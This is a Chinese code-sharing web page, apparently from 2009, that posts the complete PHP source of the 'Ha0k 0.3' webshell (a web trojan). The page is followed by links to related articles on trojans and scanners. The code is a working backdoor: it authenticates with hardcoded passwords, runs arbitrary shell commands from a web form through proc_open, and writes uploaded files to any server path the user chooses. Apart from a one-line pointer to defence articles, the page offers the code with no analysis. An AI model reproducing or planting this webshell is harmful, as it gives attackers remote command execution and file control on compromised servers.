Ha0k 0.3 PHP 網(wǎng)頁(yè)木馬修改版
更新時(shí)間:2009年10月11日 13:46:21 作者:
Ha0k 0.3 PHP 網(wǎng)頁(yè)木馬修改版,大家可以看下,對(duì)于此類(lèi)文件的防御方法,可以參考腳本之家發(fā)布的文章。
復(fù)制代碼 代碼如下:
<?php
//此處可設(shè)置多個(gè)用戶(hù)
$passwd = array('ha0k' => 'ha0k',
'hackerdsb'=>'hackerdsb');
/* 此處設(shè)置命令的別名 */
$aliases = array('ls' => 'ipconfig',
'll' => 'ls -lvhF');
if (!isset($_SERVER['PHP_AUTH_USER'])||!isset($_SERVER['PHP_AUTH_PW'])||
!isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
$passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
header('WWW-Authenticate: Basic realm="by Ha0k"');
header('HTTP/1.0 401 Unauthorized');
$authenticated = false;
}
else {
$authenticated = true;
/* 開(kāi)始session */
session_start();
/* 初始化session. */
if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
$_SESSION['cwd'] = getcwd(); //取當(dāng)前目錄
$_SESSION['history'] = array();
$_SESSION['output'] = '';
}
if (!empty($_REQUEST['command'])) {
if (get_magic_quotes_gpc()) { //0表關(guān)閉,1表開(kāi)啟,開(kāi)啟時(shí)過(guò)濾
/* We don't want to add the commands to the history in the
* escaped form, so we remove the backslashes now. */
$_REQUEST['command'] = stripslashes($_REQUEST['command']); //將用addslashes()函數(shù)處理后的字符串返回原樣
}
/* history */
if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) //查找保存數(shù)組中的值
unset($_SESSION['history'][$i]); //銷(xiāo)毀
array_unshift($_SESSION['history'], $_REQUEST['command']);//array_unshift()函數(shù)的作用是在一個(gè)數(shù)組中插入新的元素。而這個(gè)新的數(shù)組將被添加到原數(shù)組的開(kāi)頭部分。函數(shù)最終返回的是插入新元素后的數(shù)組。
/* 輸出Ha0k# command */
$_SESSION['output'] .= 'Ha0k# ' . $_REQUEST['command'] . "\n";
/* Initialize the current working directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
$_SESSION['cwd'] = dirname(__FILE__); //獲取當(dāng)前所在目錄
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
/* The current command is a 'cd' command which we have to handle
* as an internal shell command. */
if ($regs[1][0] == '/') {
/* Absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* Relative path, we append it to the current working
* directory. */
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
}
/* Transform '/./' into '/' */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
/* Transform '//' into '/' */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
/* Transform 'x/..' into '' */
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* Try to change directory. */
if (@chdir($new_dir)) { //改變當(dāng)前目錄
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
}
} else {
/* The command is not a 'cd' command, so we execute it after
* changing the directory and save the output. */
chdir($_SESSION['cwd']); //改變目錄
/* 別名擴(kuò)展 */
$length = strcspn($_REQUEST['command'], " \t"); //查找\t字符串,返回位置
$token = substr($_REQUEST['command'], 0, $length); //取字符串0-\t
if (isset($aliases[$token]))
$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
$p = proc_open($_REQUEST['command'], //執(zhí)行腳本
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
/* 讀出發(fā)送 */
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]), //轉(zhuǎn)換特殊字符為HTML字符編碼
ENT_COMPAT, 'GB2312');
}
/* 讀出 */
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, 'GB2312');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);//關(guān)閉管道
}
}
/* 構(gòu)建在JavaScript使用命令歷史記錄 */
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';//將數(shù)組搞成字符串
}
}
header('Content-Type: text/html; charset=GB2312');
echo '<?xml version="1.0" encoding="GB2312"?>' . "\n";
?>
<?php
if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {
copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);
//echo "上傳文件成功: " . $HTTP_POST_FILES['userfile']['name'];
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Ha0k webshell</title>
<script type="text/javascript" language="JavaScript">
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.command.value;
current_line++;
document.shell.command.value = command_hist[current_line];
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.command.value;
current_line--;
document.shell.command.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute("autocomplete", "off");
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.command.focus();
}
</script>
<style type="text/css">
<!--
.STYLE1 {
color: #33FF33;
font-weight: bold;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /></head>
<body onload="init()">
<BODY BGCOLOR="#$$$$$$">
<BODY TEXT="1afa3a">
<h1><a class="STYLE1">HA0K</a></h1>
<h6>WE JUST FOR JUSTICE,F(xiàn)IGHT FOR EVIAL</h6></FONT>
<?php if (!$authenticated) { ?>
<p>You failed to authenticate yourself to PhpShell. You can <a
href="<?php echo $_SERVER['PHP_SELF'] ?>">reload</a> to try again.</p>
<p>Try reading the <a href="INSTALL">INSTALL</a> file if you're having
problems with installing PhpShell.</p>
</body>
</html>
<?php //
exit;
}
error_reporting (E_ALL);
if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 10;
?>
<p>當(dāng)前目錄為: <code><?php echo $_SESSION['cwd'] ?></code></p>
<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<div>
<textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_REQUEST['rows'] ?>">
<?php
$lines = substr_count($_SESSION['output'], "\n");
$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
<</textarea>
</div><br>
<p class="prompt">
$ <input class="prompt" name="command" type="text"
onkeyup="key(event)" size="78" tabindex="1">
</p>
<p>
<input type="submit" value="執(zhí)行" />
<input type="submit" name="reset" value="恢復(fù)" />
行數(shù): <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
</p>
</form>
<form enctype="multipart/form-data" action="" method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="1000000">
<p>本地文件名: <input name="userfile" type="file">
<p>遠(yuǎn)程文件名: <input name="remotefile" type="text">
<input type="submit" value="發(fā)送">
</form>
</body>
</html>
Mcafee(麥咖啡殺毒軟件) 防止網(wǎng)頁(yè)被掛馬的設(shè)置教程(最后不要在服務(wù)器端打開(kāi)) 我們強(qiáng)烈推薦服務(wù)器安裝mcafee 8.5i的版本
全世界最小的php網(wǎng)頁(yè)木馬一枚 附PHP木馬的防范方法
您可能感興趣的文章:
- PHP與SQL語(yǔ)句寫(xiě)一句話(huà)木馬總結(jié)
- php eval函數(shù)一句話(huà)木馬代碼
- 一句話(huà)木馬的原理及利用分析(asp,aspx,php,jsp)
- php一句話(huà)cmdshell新型 (非一句話(huà)木馬)
- asp,php一句話(huà)木馬整理方便查找木馬
- PHP Web木馬掃描器代碼分享
- php木馬webshell掃描器代碼
- PHP Web木馬掃描器代碼 v1.0 安全測(cè)試工具
- 精確查找PHP WEBSHELL木馬的方法(1)
- PHP 木馬攻擊的防御設(shè)置方法
- 全世界最小的php網(wǎng)頁(yè)木馬一枚 附PHP木馬的防范方法
- php一句話(huà)木馬變形技巧
相關(guān)文章
制作個(gè)性化的WordPress登陸界面的實(shí)例教程
隨著WordPress多用戶(hù)功能的日益完善,也有越來(lái)越多的開(kāi)發(fā)者開(kāi)始著手于WordPress登陸界面部分的自定義制作,接下來(lái)我們就來(lái)看制作個(gè)性化的WordPress登陸界面的實(shí)例教程2016-05-05
phpfans留言版用到的數(shù)據(jù)操作類(lèi)和分頁(yè)類(lèi)
phpfans留言版用到的數(shù)據(jù)操作類(lèi)和分頁(yè)類(lèi)...2007-01-01
PHP服務(wù)器端API原理及示例講解(接口開(kāi)發(fā))
下面小編就為大家分享一篇PHP服務(wù)器端API原理及示例講解(接口開(kāi)發(fā)),具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2018-03-03
PHP生成短網(wǎng)址的思路以及實(shí)現(xiàn)方法的詳解
今天小編就為大家分享一篇關(guān)于PHP生成短網(wǎng)址的思路以及實(shí)現(xiàn)方法的詳解,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧2019-03-03
python進(jìn)程與線(xiàn)程小結(jié)實(shí)例分析
本文通過(guò)實(shí)例代碼分析了python進(jìn)程與線(xiàn)程知識(shí)小結(jié),非常不錯(cuò),具有一定的參考借鑒價(jià)值,需要的朋友參考下吧2018-11-11
適用于抽獎(jiǎng)程序、隨機(jī)廣告的PHP概率算法實(shí)例
做網(wǎng)站類(lèi)的有時(shí)會(huì)弄個(gè)活動(dòng)什么的,來(lái)讓用戶(hù)參加,既吸引用戶(hù)注冊(cè),又提高網(wǎng)站的用戶(hù)活躍度。同時(shí)參加的用戶(hù)會(huì)獲得一定的獎(jiǎng)品,有100%中獎(jiǎng)的,也有按一定概率中獎(jiǎng)的,大的比如中個(gè)ipad、iphone5,小的中個(gè)Q幣什么的2014-04-04
Yii2中YiiBase自動(dòng)加載類(lèi)、引用文件方法分析(autoload)
這篇文章主要介紹了Yii2中YiiBase自動(dòng)加載類(lèi)、引用文件的方法,實(shí)例分析了Yii中的autoload函數(shù)用于自動(dòng)加載類(lèi)及引用文件的相關(guān)技巧,需要的朋友可以參考下2016-07-07
ThinkPHP表單數(shù)據(jù)智能寫(xiě)入create方法實(shí)例分析
這篇文章主要介紹了ThinkPHP表單數(shù)據(jù)智能寫(xiě)入create方法,以實(shí)例形式較為詳細(xì)的分析了ThinkPHP中create只能寫(xiě)入的相關(guān)技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-09-09

